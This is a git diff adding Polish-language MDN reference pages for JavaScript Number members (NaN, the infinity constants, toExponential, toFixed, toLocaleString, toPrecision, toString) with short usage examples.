+<p>Kilka metod JavaScript (takie jak konstruktor <code>Number</code>, <code>parseFloat</code> i <code>parseInt</code>) zwracają <code>NaN</code>, jeśli wartość określona w parametrze nie może być przetworzona jako liczba.</p>
+
+<p>Możesz użyć własności <code>NaN</code>, aby wskazać warunek błędu dla Twojej funkcji, która zwraca liczbę w przypadku sukcesu.</p>
+
+<p>JavaScript wyświetla wartość <code>Number.NaN</code> jako <code>NaN</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_NaN" name="Przyk.C5.82ad:_Zastosowanie_NaN">Przykład: Zastosowanie <code>Number.NaN</code></h3>
+
+<p>W poniższym przykładzie, jeśli miesiąc (month) jest wartość większą niż 12, zostaje mu przypisane <code>NaN</code> i wyświetlana jest informacja o nieprawidłowych wartościach.</p>
+
+<pre class="brush: js">var month = 13;
+if (month &lt; 1 || month &gt; 12) {
+ month = Number.NaN;
+ console.log("Miesiąc musi być liczbą między 1 i 12.");
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Obiekty/NaN", "NaN")}}</li>
+ <li>The {{jsxref("Number")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html b/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html
new file mode 100644
index 0000000000..90de86af6d
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html
@@ -0,0 +1,53 @@
+---
+title: Number.NEGATIVE INFINITY
+slug: Web/JavaScript/Referencje/Obiekty/Number/NEGATIVE_INFINITY
+tags:
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wartość reprezentująca ujemną nieskończoność.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość własności <code>Number.NEGATIVE_INFINITY</code> jest taka sama jak ujemna wartość własności {{jsxref("Infinity")}} obiektu globalnego.</p>
+
+<p>Wartość ta zachowuje się nieco inaczej niż matematyczna nieskończoność:</p>
+
+<ul>
+ <li>Dowolna dodatnia wartość, włączając {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, pomnożona przez <code>NEGATIVE_INFINITY</code> jest równa <code>NEGATIVE_INFINITY</code>.</li>
+ <li>Dowolna ujemna wartość, włączając <code>NEGATIVE_INFINITY</code>, pomnożona przez <code>NEGATIVE_INFINITY</code> jest równa {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}.</li>
+ <li>Zero pomnożone przez <code>NEGATIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li>
+ <li>NaN pomnożone przez <code>NEGATIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li>
+ <li>Wartość <code>NEGATIVE_INFINITY</code> podzielona przez dowolną wartość ujemną za wyjątkiem <code>NEGATIVE_INFINITY</code> jest równa {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}.</li>
+ <li>Wartość <code>NEGATIVE_INFINITY</code> podzielona przez dowolną wartość dodatnią za wyjątkiem {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}} jest równa <code>NEGATIVE_INFINITY</code>.</li>
+ <li>Wartość <code>NEGATIVE_INFINITY</code> podzielona przez <code>NEGATIVE_INFINITY</code> lub {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}} zwraca wartość NaN.</li>
+ <li>Dowolna liczba podzielona przez <code>NEGATIVE_INFINITY</code> jest równa zero.</li>
+</ul>
+
+<p>Własności <code>Number.NEGATIVE_INFINITY</code> można użyć do wskazania błędu warunku, który zwraca liczbę skończoną w przypadku powodzenia. Należy jednak zauważyć, że funkcja {{jsxref("Obiekty/isFinite", "isFinite")}} będzie w tym wypadku bardziej odpowiednia.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<p>W poniższym przykładzie do zmiennej smallNumber została przypisana wartość mniejsza niż wartość minimalna. Gdy zostaje wykonana instrukcja <code>if</code>, smallNumber posiada wartość "<code>-Infinity</code>", więc przed kontynuowaniem do zmiennej smallNumber jest przypisywana bardziej wykonywalna wartość.</p>
+
+<pre class="brush: js">var smallNumber = (-Number.MAX_VALUE) * 2;
+
+if (smallNumber == Number.NEGATIVE_INFINITY) {
+ smallNumber = returnFinite();
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Obiekty/Infinity", "Infinity")}}</li>
+ <li>{{jsxref("Obiekty/isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html b/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html
new file mode 100644
index 0000000000..e0be5b9e2a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html
@@ -0,0 +1,57 @@
+---
+title: Number.POSITIVE INFINITY
+slug: Web/JavaScript/Referencje/Obiekty/Number/POSITIVE_INFINITY
+tags:
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wartość reprezentująca dodatnią nieskończoność.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość własności <code>Number.POSITIVE_INFINITY</code> jest taka sama jak wartość własności {{jsxref("Infinity")}} obiektu globalnego.</p>
+
+<p>Wartość ta zachowuje się nieco inaczej niż matematyczna nieskończoność:</p>
+
+<ul>
+ <li>Dowolna dodatnia wartość, włączając <code>POSITIVE_INFINITY</code>, pomnożona przez <code>POSITIVE_INFINITY</code> jest równa <code>POSITIVE_INFINITY</code>.</li>
+ <li>Dowolna ujemna wartość, włączając {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}, pomnożona przez <code>POSITIVE_INFINITY</code> jest równa {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}.</li>
+ <li>Zero pomnożone przez <code>POSITIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li>
+ <li>NaN pomnożone przez <code>POSITIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li>
+ <li>Wartość <code>POSITIVE_INFINITY</code> podzielona przez dowolną wartość ujemną za wyjątkiem {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}} jest równa {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}.</li>
+ <li>Wartość <code>POSITIVE_INFINITY</code> podzielona przez dowolną wartość dodatnią za wyjątkiem <code>POSITIVE_INFINITY</code> jest równa <code>POSITIVE_INFINITY</code>.</li>
+ <li>Wartość <code>POSITIVE_INFINITY</code> podzielona przez {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}} lub <code>POSITIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li>
+ <li>Dowolna liczba podzielona przez <code>POSITIVE_INFINITY</code> jest równa <code>0</code>.</li>
+</ul>
+
+<p>Niektóre metody JavaScript (takie jak konstruktor <code>Number</code>, <code>parseFloat</code> i <code>parseInt</code>) zwracają wartość <code>NaN</code>, jeśli wartość określona w parametrze znacznie przewyższa wartość <code>Number.MAX_VALUE</code>.</p>
+
+<p>Własności <code>Number.POSITIVE_INFINITY</code> można użyć do wskazania błędu warunku, który zwraca liczbę skończoną w przypadku powodzenia. Należy jednak zauważyć, że funkcja {{jsxref("Obiekty/isFinite", "isFinite")}} będzie w tym wypadku bardziej odpowiednia.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<p>W poniższym przykładzie do zmiennej largeNumber została przypisana wartość większa niż wartość maksymalna. Gdy zostaje wykonana instrukcja {{jsxref("Polecenia/if...else", "if")}}, largeNumber posiada wartość <code>Infinity</code>, więc przed kontynuowaniem do zmiennej <code>bigNumber</code> jest przypisywana bardziej wykonywalna wartość.</p>
+
+<pre class="brush: js">var bigNumber = Number.MAX_VALUE * 2;
+
+if (bigNumber == Number.POSITIVE_INFINITY) {
+ bigNumber = returnFinite();
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("Obiekty/isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html b/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html
new file mode 100644
index 0000000000..1eef2782e4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html
@@ -0,0 +1,53 @@
+---
+title: Number.prototype.toExponential()
+slug: Web/JavaScript/Referencje/Obiekty/Number/toExponential
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący Number w notacji wykładniczej.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre>
+
+<h3 id="Parametr" name="Parametr">Parametr</h3>
+
+<dl>
+ <dt>fractionDigits</dt>
+ <dd>Liczba całkowita określająca liczbę cyfr występujących po kropce dziesiętnej. Domyślną wartością jest tyle cyfr, ile potrzeba do określenia liczby.</dd>
+</dl>
+
+<h3 id="Zwraca" name="Zwraca">Zwraca</h3>
+
+<p>Łańcuch znaków reprezentujący obiekt {{jsxref("Number")}} w notacji wykładniczej z jedną cyfrą przed kropką dziesiętną i zaokrągleniem do tylu cyfr po kropce, ile określa parametr <code>fractionDigits</code>. Jeśli argument <code>fractionDigits</code> zostanie pominięty, domyślnie przyjmowana jest taka wartość zaokrąglenia, która pozwala na przedstawienie wartości w sposób unikatowy.</p>
+
+<p>Jeśli metoda <code>toExponential()</code> zostanie użyta do literałów liczbowych, które nie posiadają wykładnika i kropki dziesiętnej, należy wstawić spację przed kropką poprzedzającą wywołanie metody, aby zapobiec zinterpretowaniu tej kropki jako kropki dziesiętnej.</p>
+
+<p>Jeśli liczba posiada więcej cyfr niż określono przez parametr <code>fractionDigits</code>, jest ona zaokrąglana do najbliższej liczby o ilości cyfr wskazanej przez wartość <code>fractionDigits</code>. Zobacz dyskusję na temat zaokrąglania w opisie metody <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Number/toFixed">toFixed</a>, która również odnosi się do metody <code>toExponential()</code>.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<pre>var num=77.1234;
+
+console.log("num.toExponential() is " + num.toExponential()); //wyświetla 7.71234e+1
+console.log("num.toExponential(4) is " + num.toExponential(4)); //wyświetla 7.7123e+1
+console.log("num.toExponential(2) is " + num.toExponential(2)); //wyświetla 7.71e+1
+console.log("77.1234.toExponential() is " + 77.1234.toExponential()); //wyświetla 7.71234e+1
+console.log("77 .toExponential() is " + 77 .toExponential()); //wyświetla 7.7e+1
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html b/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html
new file mode 100644
index 0000000000..9394bf1db9
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html
@@ -0,0 +1,61 @@
+---
+title: Number.prototype.toFixed()
+slug: Web/JavaScript/Referencje/Obiekty/Number/toFixed
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Formatuje liczbę stosując notację stałoprzecinkową.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toFixed([<var>digits</var>])</code></pre>
+
+<h3 id="Parametr" name="Parametr">Parametr</h3>
+
+<dl>
+ <dt>digits</dt>
+ <dd>Liczba cyfr, które mają zostać wyświetlone po kropce dziesiętnej; może to być wartość z zakresu od 0 do 20 włącznie, ale implementacje mogą opcjonalnie wprowadzać większe zakresy. Jeśli argument zostanie pominięty, przyjmowana jest wartość 0.</dd>
+</dl>
+
+<h3 id="Zwraca" name="Zwraca">Zwraca</h3>
+
+<p>Reprezentację wartości <code>number</code> w postaci łańcucha znaków, która nie stosuje notacji wykładniczej i posiada dokładnie tyle cyfr po separatorze dziesiętnym, ile wskazuje na to wartość parametru <code>digits</code>. Liczba w razie konieczności jest zaokrąglana, a część ułamkowa wypełniana zerami, aby liczba posiadała określoną długość. Jeśli liczba <code>number</code> jest większa niż 1e+21, metoda ta po prostu wywołuje {{jsxref("Number.prototype.toString()")}} i zwraca łańcuch znaków w notacji wykładniczej.</p>
+
+<h3 id="Wyrzuca" name="Wyrzuca">Wyrzuca</h3>
+
+<dl>
+ <dt>{{jsxref("Obiekty/RangeError", "RangeError")}}</dt>
+ <dd>Jeśli wartość parametru <code>digits</code> jest za duża lub za mała. Wartości z zakresu od 0 do 20 włącznie nie spowodują wystąpienia {{jsxref("Obiekty/RangeError", "RangeError")}}. Dopuszcza się na obsługę mniejszych lub większych wartości przez różne implementacje.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Obiekty/TypeError", "TypeError")}}</dt>
+ <dd>Jeśli ta metoda jest przywołana w obiekcie, który nie jest obiektem {{jsxref("Number")}}.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre class="brush: js">var n = 12345.6789;
+
+n.toFixed(); // zwraca 12346: zauważ zaokrąglenie i brak części ułamkowej
+n.toFixed(1); // zwraca 12345.7: zauważ zaokrąglenie
+n.toFixed(6); // zwraca 12345.678900: zauważ dodane zera
+(1.23e+20).toFixed(2); // zwraca 123000000000000000000.00
+(1.23e-10).toFixed(2) // zwraca 0.00
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html
new file mode 100644
index 0000000000..6ca88bba30
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html
@@ -0,0 +1,182 @@
+---
+title: Number.prototype.toLocaleString()
+slug: Web/JavaScript/Referencje/Obiekty/Number/toLocaleString
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong><code>toLocaleString()</code></strong> zwraca łańcuch znaków przedstawiający dany numer w formacie wybranej lokalizacji.</p>
+
+<p>Nowe argumenty - <code>lokalizacje</code> i <code>opcje</code> - pozwalają na wybranie lokalizacji w jakiej ma zostać przedstawiona liczba. Starsza implementacja, która nie posiadała tych argumentów, zwracała łańcuch znaków zależny od implementacji danego środowiska.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>numObj</em>.toLocaleString(</code><code>[lokalizacje [, opcje]])</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<p>W sekcji <a href="#Browser_compatibility">kompatybilności</a> możesz sprawdzić, które przeglądarki obsługują argumenty <code>lokalizacji</code> i <code>opcji</code> . W sekcji <a href="#Checking_for_support_for_locales_and_options_arguments">Przykład: Sprawdzanie obsługi argumentów <code>lokalizacji</code> i <code>opcji</code> </a>rozpisane są sposoby na przetestowanie obsługiwanych przez przeglądarkę argumentów tej metody.</p>
+
+<div class="note">
+<p><strong>Info:</strong> ECMAScript Internationalization API, zaimplementowane w Firefoxie 29, dodaje obsługę parametry<code>lokalizacje</code> do metody<code>Number.toLocaleString()</code>. Jeśli argument nie zostanie podany ({{jsxref("undefined")}}) metoda przyjmię lokalizację systemu operacyjnego. Poprzednie wersje Firefoxa zwracały liczby z lokalizacji <a href="https://en.wikipedia.org/wiki/Arabic_numerals">Western Arabic</a>. Zmiana zostala zgłoszona jako regresja rzutująca na wsteczną kompatybilność metody, i wkrótce zostanie naprawiona. ({{bug(999003)}})</p>
+</div>
+
+<div>{{page('/pl-PL/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat', 'Parameters')}}</div>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Łańcuch znaków przedstawiający liczbę w danym formacie.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Przykłady_użycia_metody_toLocaleString">Przykłady użycia metody <code>toLocaleString</code></h3>
+
+<p>Podstawowy sposób użycia, bez podanych argumentów, zwróci nam łańcuch znaków w domyślnej lokalizacji i z domyślnymi opcjami.</p>
+
+<pre class="brush: js">var liczba = 3500;
+
+console.log(liczba.toLocaleString()); // Wyświetli "3 500", jeśli twoją lokalizacją jest „pl-PL”
+</pre>
+
+<h3 id="Sprawdzanie_dostępności_argumentów_lokalizacji_i_opcji">Sprawdzanie dostępności argumentów <code>lokalizacji</code> i <code>opcji</code></h3>
+
+<p>Nie wszystkie przeglądarki obsługuję argumenty <code>lokalizacji</code> i <code>opcji</code>. Aby to sprawdzić w wersji języka ES5.1 i późniejszych możemy użyć wyjątku {{jsxref("Global_Objects/RangeError", "RangeError")}}, który zostanie rzucony gdy niepoprawna nazwa lokalizacji zostanie użyta:</p>
+
+<pre class="brush: js">function toLocaleStringSupportsLocales() {
+  var liczba = 0;
+  try {
+    liczba.toLocaleString('i');
+  } catch (e) {
+   return e.name === 'RangeError';
+ }
+ return false;
+}
+</pre>
+
+<p>W wersjach przed ES5.1 nie było obowiązku wyrzucania wyjątku Range Error jeśli metoda <code>toLocaleString</code> została wywołana z argumentami.</p>
+
+<p>Sprawdzenie działające na wszystkich wersjach języka przed 5.1 polega na użyciu funkcjonalności niezbędnych do działania tych argumentów bezpośrednio na <code>Number.prototype.toLocaleString</code>:</p>
+
+<pre class="brush: js">function toLocaleStringSupportsOptions() {
+ return !!(typeof Intl == 'object' &amp;&amp; Intl &amp;&amp; typeof Intl.NumberFormat == 'function');
+}
+</pre>
+
+<p>Sprawdzamy tutaj czy istnieje globalny obiekt <code>Intl</code>, czy nie jest <code>nullem</code>, a także czy posiada właściwość <code>NumberFormat</code>, która jest funkcją.</p>
+
+<h3 id="Przykłady_użycia_lokalizacji">Przykłady użycia <code>lokalizacji</code></h3>
+
+<p>Przykład ten pokazuje kilka różnych lokalizacji. Aby uzyskać foramt języka interfejsu użytkownika upewnij się, że podajesz tę lokalizację (i dla pewności kilka innych jako fallbacki) przy pomocy aargumentu <code>localizacji</code>:</p>
+
+<pre class="brush: js">var liczba = 123456.789;
+
+// Język niemiecki oddziela części dziesiętne przecinkiem, a tysiące kropką
+console.log(liczba.toLocaleString('de-DE'));
+// → 123.456,789
+
+// W większości krajów arabskich używa cyfr <a href="https://en.wikipedia.org/wiki/Eastern_Arabic_numerals">Eastern Arabic</a>
+console.log(liczba.toLocaleString('ar-EG'));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// Indyjski używa separatorów tysięcy/lakh/crore
+console.log(liczba.toLocaleString('en-IN'));
+// → 1,23,456.789
+
+// Klucz rozszerzeń „nu” pyta o system numeryczny, np. Chiński system dziesiętny
+console.log(liczba.toLocaleString('zh-Hans-CN-u-nu-hanidec'));
+// → 一二三,四五六.七八九
+
+// jeśli masz zamiar użyć lokalizacji, która może nie być obsługiwana
+// jak np. Balinese, zawsze dodaj drugi lokalizację, tutaj Indonezyjską
+console.log(liczba.toLocaleString(['ban', 'id']));
+// → 123.456,789
+</pre>
+
+<h3 id="Przykłady_użycia_opcji">Przykłady użycia <code>opcji</code></h3>
+
+<p>Rezultaty metody<code>toLocaleString</code>  mogą być dostosowywane przy pomocy argumentu <code>opcje</code>:</p>
+
+<pre class="brush: js">var liczba = 123456.789;
+
+// format walutowy
+console.log(liczba.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' }));
+// → 123.456,79 €
+
+// Japoński yen
+console.log(liczba.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }))
+// → ¥123,457
+
+// ogranicz wyświetlanie do 3 miejsc znaczących
+console.log(liczba.toLocaleString('en-IN', { maximumSignificantDigits: 3 }));
+// → 1,23,000
+
+// Użyj domyślnego języka hosta z opcjami formatowania liczby
+var num = 30000.65;
+console.log(num.toLocaleString(undefined, {minimumFractionDigits: 2, maximumFractionDigits: 2}));
+// → "30,000.65" w języku angielskim lub
+// → "30.000,65" w języku niemieckiem lub
+// → "30 000,65" w języku francuskim
+</pre>
+
+<h2 id="Wydajność">Wydajność</h2>
+
+<p>Jeśli zamierzasz formatować wiele liczb, lepiej użyć obiektu {{jsxref("NumberFormat")}} i formatować przy pomocy metody {{jsxref("NumberFormat.format")}}.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Pierwsza definicja. Zaimplementowane w JavaScript 1.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES Int 1.0')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES Int 2.0')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES Int Draft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toLocaleString")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html b/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html
new file mode 100644
index 0000000000..33d5c0f1ed
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html
@@ -0,0 +1,56 @@
+---
+title: Number.prototype.toPrecision()
+slug: Web/JavaScript/Referencje/Obiekty/Number/toPrecision
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+---
+<p>{{jsref}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący dany obiekt Number z określoną dokładnością.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toPrecision([<var>precision</var>])</code></pre>
+
+<h3 id="Parametr" name="Parametr">Parametr</h3>
+
+<dl>
+ <dt>precision</dt>
+ <dd>Liczba całkowita określająca liczbę cyfr po kropce dziesiętnej.</dd>
+</dl>
+
+<h3 id="Zwraca" name="Zwraca">Zwraca</h3>
+
+<p>Łańcuch znaków reprezentujący obiekt {{jsxref("Number")}} w notacji stałoprzecinkowej lub wykładniczej z zaokrągleniem do tylu ważnych cyfr, ile wskazuje wartość <code>precision</code>.</p>
+
+<p>Jeśli metoda <code>toPrecision()</code> zostanie użyta do literałów liczbowych, które nie posiadają wykładnika i kropki dziesiętnej, należy wstawić spację przed kropką poprzedzającą wywołanie metody, aby zapobiec zinterpretowaniu tej kropki jako kropki dziesiętnej.</p>
+
+<p>Jeśli argument <code>precision</code> zostanie pominięty, metoda zachowuje się jak {{jsxref("Number.prototype.toString()")}}.</p>
+
+<p>Jeśli liczba posiada więcej cyfr niż określono przez parametr <code>precision</code>, jest ona zaokrąglana do najbliższej liczby o ilości cyfr wskazanej przez wartość <code>precision</code>. Zobacz dyskusję na temat zaokrąglania w opisie metody {{jsxref("Number.prototype.toFixed()")}}, która również odnosi się do metody <code>toPrecision</code>.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<pre class="brush: js">var num=5.123456;
+
+console.log("num.toPrecision() is " + num.toPrecision()); //wyświetli 5.123456
+console.log("num.toPrecision(4) is " + num.toPrecision(4)); //wyświetli 5.123
+console.log("num.toPrecision(2) is " + num.toPrecision(2)); //wyświetli 5.1
+console.log("num.toPrecision(1) is " + num.toPrecision(1)); //wyświetli 5
+console.log("1250 .toPrecision(2) is " + 1250 .toPrecision(2)); //wyświetli 1.3e+3
+console.log("1250 .toPrecision(5) is " + 1250 .toPrecision(5)); //wyświetli 1250.0
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html
new file mode 100644
index 0000000000..cd29571aee
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html
@@ -0,0 +1,59 @@
+---
+title: Number.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/Number/toString
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący dany obiekt {{jsxref("Number")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre>
+
+<h3 id="Parametr" name="Parametr">Parametr</h3>
+
+<dl>
+ <dt>radix</dt>
+ <dd>Liczba całkowita z zakresu od 2 do 36 określająca podstawę użytą do reprezentacji wartości liczbowych.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt <code>Number</code> przesłania metodę <code>toString</code> obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów <code>Number</code> metoda <code>toString()</code> zwraca łańcuch znaków reprezentujący obiekt w danej podstawie wyliczeń.</p>
+
+<p>Metoda toString przetwarza pierwszy podany argument i próbuje zwrócić reprezentację w postaci łańcucha znaków w określonej podstawie wyliczeń. Dla podstawy większej od 10 litery alfabetu wskazują liczby większe niż 9. Przykładowo dla liczb heksadecymalnych (podstawa 16) użyte zostaną litery od A do F.</p>
+
+<p>Jeśli jako argument <code>toString()</code> podano podstawę nie będącą w zakresie od 2 do 36, zostanie wywołany wyjątek.</p>
+
+<p>Jeśli podstawa nie została określona, JavaScript przyjmuje za podstawę wartość 10.</p>
+
